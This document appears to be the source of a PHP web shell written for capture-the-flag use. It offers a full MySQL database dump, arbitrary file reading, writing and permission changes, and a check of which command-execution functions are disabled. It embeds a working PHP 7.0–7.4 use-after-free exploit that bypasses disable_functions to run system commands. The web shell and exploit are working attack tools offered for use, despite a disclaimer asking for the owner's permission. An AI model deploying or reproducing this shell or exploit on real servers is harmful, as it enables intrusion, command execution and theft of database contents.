query($sql) as $row) {
array_push($db[$dbname][$tablename]["data"], array());
echo "
\n";
foreach ($columns as &$colname){
$c = count($db[$dbname][$tablename]["data"]);
$db[$dbname][$tablename]["data"][$c-1][$colname] = $row[$colname];
echo "\t".$row[$colname]." \n";
}
echo " \n";
}
}
function getColumns($dbh, $tablename, $dbname){
global $db;
$sql = "SELECT column_name FROM information_schema.columns WHERE table_name='$tablename' and table_schema='$dbname';";
#echo $sql."\n";
echo "";
echo '
'."\n";
echo "\n";
foreach ($dbh->query($sql) as $row) {
array_push($db[$dbname][$tablename]["columns"], $row['column_name']);
echo "\t".$row['column_name']." \n";
}
echo " \n";
getData($dbh, $db[$dbname][$tablename]["columns"], $tablename, $dbname);
echo "
\n";
echo " \n";
}
function getTables($dbh, $dbname, $checkDefault) {
global $db, $information_schema, $mysql, $performance_schema, $sys;
$sql = "SELECT table_name FROM information_schema.tables WHERE table_schema='$dbname';";
#echo $sql."\n";
foreach ($dbh->query($sql) as $row) {
$db[$dbname][$row['table_name']]["columns"] = array();
$db[$dbname][$row['table_name']]["data"] = array();
if (! $checkDefault){
if ($dbname === "information_schema" && in_array(strtoupper($row['table_name']),$information_schema)){
continue;
}
elseif ($dbname === "mysql" && in_array(strtoupper($row['table_name']),$mysql)){
continue;
}
elseif ($dbname === "performance_schema" && in_array(strtoupper($row['table_name']),$performance_schema)){
continue;
}
elseif ($dbname === "sys" && in_array(strtoupper($row['table_name']),$sys)){
continue;
}
}
echo "Table: ".$row['table_name']." ";
getColumns($dbh, $row['table_name'], $dbname);
}
}
function dumpDb($mysqlUserName, $mysqlPassword, $mysqlHostName, $checkDefault){
global $db;
$dbh = new PDO("mysql:host=$mysqlHostName;",$mysqlUserName, $mysqlPassword);
$sql = $dbh->query('SHOW DATABASES');
$dbnames_results = $sql->fetchAll();
foreach ($dbnames_results as &$dbname) {
$db[$dbname[0]] = array();
echo "Database: ".$dbname[0]." ";
getTables($dbh, $dbname[0], $checkDefault);
}
}
################################
##### FILESYSTEM FUNCTIONS #####
################################
function printPerms($filepath){
$perms = fileperms('/etc/passwd');
switch ($perms & 0xF000) {
case 0xC000: // socket
$info = 's';
break;
case 0xA000: // symbolic link
$info = 'l';
break;
case 0x8000: // regular
$info = 'r';
break;
case 0x6000: // block special
$info = 'b';
break;
case 0x4000: // directory
$info = 'd';
break;
case 0x2000: // character special
$info = 'c';
break;
case 0x1000: // FIFO pipe
$info = 'p';
break;
default: // unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
echo "$info $filepath\n";
}
function listDir($dir){
echo "Listing $dir\n";
$filenames = scandir($dir);
foreach ($filenames as $filename) {
if ($filename != "." && $filename != ".."){
$filepath = "$dir/$filename";
printPerms($filepath);
}
}
}
function readAFile($filepath){
if (file_exists($filepath)){
if (is_readable($filepath)) {
echo "Reading $filepath\n";
echo file_get_contents($filepath);
}
else{
echo "$filepath: Permission denied\n";
}
}
else{
echo "$filepath: File doesn't exist\n";
}
}
function writeAFile($filepath, $content){
file_put_contents($filepath, $content);
}
function createADir($dirpath, $perms){
if (! mkdir($dirpath, intval($perms, 8))){
echo "Error creating the folder $dirpath\n";
}
else{
echo "$dirpath was created\n";
}
}
function changePerms($dirpath, $perms){
if (! chmod($dirpath, intval($perms, 8))){
echo "Error changing permissions of $dirpath\n";
}
else{
echo "Permissions of $dirpath changed correctly\n";
}
}
####################################
######### CHECK FUNCTIONS ##########
####################################
function check_exec_function($disabled, $func){
if (!in_array($func, $disabled)){
echo "$func is enabled!!
\n";
}
else{
echo "$func is disabled
\n";
}
}
function check_exec_functions() {
$disabled = explode(',', ini_get('disable_functions'));
$funcs = ["exec", "passthru", "system", "shell_exec", "popen", "proc_open", "pcntl_exec", "mail", "putenv"];
foreach ($funcs as $func) {
check_exec_function($disabled, $func);
}
}
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
?>
Disclaimer: Always use this webshell with permission of the servers owner.
Filesystem Interaction
Disabled functions
PHP 7.0-7.4 Disabled Functions Bypass
Command:
Mysql Dump
Note that this will dump the WHOLE DATABASE. I have created this webshell for CTFs, DO NOT USE THIS IN PRODUCTION ENVIRONMENTS.
Mysql Username:
Mysql Password:
Mysql Host:
Dump default MySQL databases (information_schema, mysql, performance_schema, sys) . Note that by default only non-default tables from these databases will be extracted.
PHPInfo